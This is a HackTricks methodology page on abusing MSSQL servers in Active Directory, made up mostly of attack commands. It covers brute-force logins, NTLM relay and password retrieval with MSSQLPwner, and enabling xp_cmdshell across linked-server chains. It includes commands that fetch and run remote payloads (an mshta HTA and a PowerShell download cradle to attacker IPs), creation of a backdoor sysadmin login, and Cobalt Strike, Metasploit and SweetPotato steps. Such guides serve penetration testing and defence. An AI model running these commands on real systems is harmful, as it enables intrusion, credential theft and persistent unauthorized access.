abusing-ad-mssql.md (14842B)
1 --- 2 title: "MSSQL AD Abuse" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # MSSQL AD Abuse 14 15 ## **MSSQL Enumeration / Discovery** 16 17 ### Python 18 19 The [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) tool is based on Impacket. It supports authentication with Kerberos tickets and attacks through linked-server chains.<sup>[[1]](#references)</sup> 20 21 <figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure> 22 23 ```bash 24 # Interactive mode 25 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive 26 27 # Interactive mode with 2 depth level of impersonations 28 29 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive 30 31 # Executing custom assembly on the current server with windows authentication and executing hostname command 32 33 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname 34 35 # Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server 36 37 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname 38 39 # Executing the hostname command using stored procedures on the linked SRV01 server 40 41 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname 42 43 # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method 44 45 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate 46 47 # Issuing NTLM relay attack on the SRV01 server 48 49 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250 50 51 # Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 52 53 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250 54 55 # Issuing NTLM relay attack on the local server with custom command 56 57 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 58 59 # Executing direct query 60 61 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER" 62 63 # Retrieving password from the linked server DC01 64 65 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password 66 67 # Execute code using custom assembly on the linked server DC01 68 69 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll 70 71 # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt 72 73 mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt 74 75 # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt 76 77 mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt 78 79 # Bruteforce using tickets against the hosts listed on the hosts.txt 80 81 mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt 82 83 # Bruteforce using passwords against the hosts listed on the hosts.txt 84 85 mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt 86 87 # Bruteforce using hashes against the hosts listed on the hosts.txt 88 89 mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt 90 91 ``` 92 93 ### Enumerating from the network without domain session 94 95 ```text 96 97 # Interactive mode 98 99 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive 100 101 ``` 102 103 --- 104 ### PowerShell 105 106 The PowerShell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) provides discovery, auditing, and exploitation functions for SQL Server environments.<sup>[[2]](#references)</sup> 107 108 ```bash 109 Import-Module .\PowerupSQL.psd1 110 ``` 111 112 ### Enumerating from the network without domain session 113 114 ```bash 115 # Get local MSSQL instance (if any) 116 Get-SQLInstanceLocal 117 Get-SQLInstanceLocal | Get-SQLServerInfo 118 119 #If you don't have an AD account, you can try to find MSSQL instances by scanning via UDP 120 #First, you will need a list of hosts to scan 121 Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10 122 123 #If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them 124 #The discovered MSSQL servers must be on the file: C:\temp\instances.txt 125 Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test 126 ``` 127 128 ### Enumerating from inside the domain 129 130 ```bash 131 # Get local MSSQL instance (if any) 132 Get-SQLInstanceLocal 133 Get-SQLInstanceLocal | Get-SQLServerInfo 134 135 #Get info about valid MSQL instances running in domain 136 #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance) 137 Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose 138 139 # Try dictionary attack to login 140 Invoke-SQLAuditWeakLoginPw 141 142 # Search SPNs of common software and try the default creds 143 Get-SQLServerDefaultLoginPw 144 145 #Test connections with each one 146 Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose 147 148 #Try to connect and obtain info from each MSSQL server (also useful to check connectivity) 149 Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose 150 151 # Get DBs, test connections and get info in one line 152 Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo 153 ``` 154 155 ## MSSQL Basic Abuse 156 157 ### Access DB 158 159 ```bash 160 # List databases 161 Get-SQLInstanceDomain | Get-SQLDatabase 162 163 # List tables in a DB you can read 164 Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName 165 166 # List columns in a table 167 Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName 168 169 # Get some sample data from a column in a table (columns username & password in the example) 170 Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10 171 172 #Perform a SQL query 173 Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername" 174 175 #Dump an instance (a lot of CSVs are generated in the current directory) 176 Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql" 177 178 # Search keywords in columns trying to access the MSSQL DBs 179 ## This won't use trusted SQL links 180 Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize 181 ``` 182 183 ### MSSQL RCE 184 185 It may also be possible to **execute commands** on the MSSQL host through `xp_cmdshell`.<sup>[[5]](#references)</sup> 186 187 ```bash 188 Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults 189 # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary 190 ``` 191 192 Check in the page mentioned in the **following section how to do this manually.** 193 194 ### MSSQL Basic Hacking Tricks 195 196 197 [Pentesting Mssql Microsoft Sql Server](/hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/overview) 198 199 ## MSSQL Trusted Links 200 201 If one MSSQL instance trusts another through a linked-server configuration, a user with sufficient permissions can **use that trust relationship to execute queries on the other instance**. These links can be chained, potentially reaching a misconfigured server on which the user can execute commands.<sup>[[3]](#references)</sup> 202 203 **The links between databases work even across forest trusts.** 204 205 ### Powershell Abuse 206 207 ```bash 208 #Look for MSSQL links from an accessible instance 209 Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkId > 0 210 211 #Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified) 212 Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose 213 214 #If you are sysadmin in some trusted link you can enable xp_cmdshell with: 215 Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"' 216 217 #Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field 218 Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'" 219 220 #Obtain a shell 221 Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"' 222 223 #Check for possible vulnerabilities on an instance where you have access 224 Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local" 225 226 #Try to escalate privileges on an instance 227 Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1" 228 229 #Manual trusted-link query 230 Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')" 231 ## Enable xp_cmdshell and check it 232 Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');' 233 Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]' 234 Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]' 235 ## If you see the results of @@selectname, it worked 236 Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');' 237 ``` 238 239 Another tool that can be used is [**SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):<sup>[[6]](#references)</sup> 240 241 ```bash 242 SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa 243 # Cobalt Strike 244 inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa 245 ``` 246 247 ### Metasploit 248 249 You can easily check for trusted links using Metasploit. 250 251 ```bash 252 #Set username, password, windows auth (if using AD), IP... 253 msf> use exploit/windows/mssql/mssql_linkcrawler 254 [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session 255 ``` 256 257 Metasploit tries to abuse only the `OPENQUERY()` function. If command execution through `OPENQUERY()` fails, try the `EXECUTE` method **manually**, as described below.<sup>[[4]](#references)</sup> 258 259 ### Manual - Openquery() 260 261 From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.** 262 263 From **Windows**, you can also find the links and execute commands manually using an **MSSQL client such as** [**HeidiSQL**](https://www.heidisql.com).<sup>[[7]](#references)</sup> 264 265 _Login using Windows authentication:_ 266 267  268 269 #### Find Trustable Links 270 271 ```sql 272 select * from master..sysservers; 273 EXEC sp_linkedservers; 274 ``` 275 276  277 278 #### Execute queries in trustable link 279 280 Execute queries through the link (example: find more links in the new accessible instance): 281 282 ```sql 283 select * from openquery("dcorp-sql1", 'select * from master..sysservers') 284 ``` 285 286 > [!WARNING] 287 > Check where double and single quotes are used, it's important to use them that way. 288 289  290 291 You can continue traversing these trusted-link chains manually. 292 293 ```sql 294 # First level RCE 295 SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''') 296 297 # Second level RCE 298 SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')') 299 ``` 300 301 If you cannot perform actions such as `exec xp_cmdshell` through `OPENQUERY()`, try the `EXECUTE` method. 302 303 ### Manual - EXECUTE 304 305 You can also abuse trusted links using `EXECUTE`: 306 307 ```bash 308 #Create user and give admin privileges 309 EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" 310 EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" 311 ``` 312 313 ## Local Privilege Escalation 314 315 The **MSSQL service account** often has the **`SeImpersonatePrivilege`** user right, which allows the account to impersonate a client after authentication. 316 317 A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate. 318 319 [SweetPotato](https://github.com/CCob/SweetPotato) collects several of these techniques and can be executed through Beacon's `execute-assembly` command.<sup>[[8]](#references)</sup> 320 321 322 ### SCCM Management Point NTLM Relay (OSD Secret Extraction) 323 See how the default SQL roles of SCCM **Management Points** can be abused to dump Network Access Account and Task-Sequence secrets directly from the site database: 324 325 [Sccm Management Point Relay Sql Policy Secrets](/hacktricks/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets) 326 327 ## References 328 329 - [1] [ScorpionesLabs – MSSqlPwner](https://github.com/ScorpionesLabs/MSSqlPwner) 330 - [2] [NetSPI – PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) 331 - [3] [Microsoft Learn – Linked servers (Database Engine)](https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine?view=sql-server-ver17) 332 - [4] [Microsoft Learn – OPENQUERY](https://learn.microsoft.com/en-us/sql/t-sql/functions/openquery-transact-sql?view=sql-server-ver17) 333 - [5] [Microsoft Learn – xp_cmdshell server configuration option](https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-ver17) 334 - [6] [lefayjey – SharpSQLPwn](https://github.com/lefayjey/SharpSQLPwn) 335 - [7] [HeidiSQL](https://www.heidisql.com) 336 - [8] [CCob – SweetPotato](https://github.com/CCob/SweetPotato)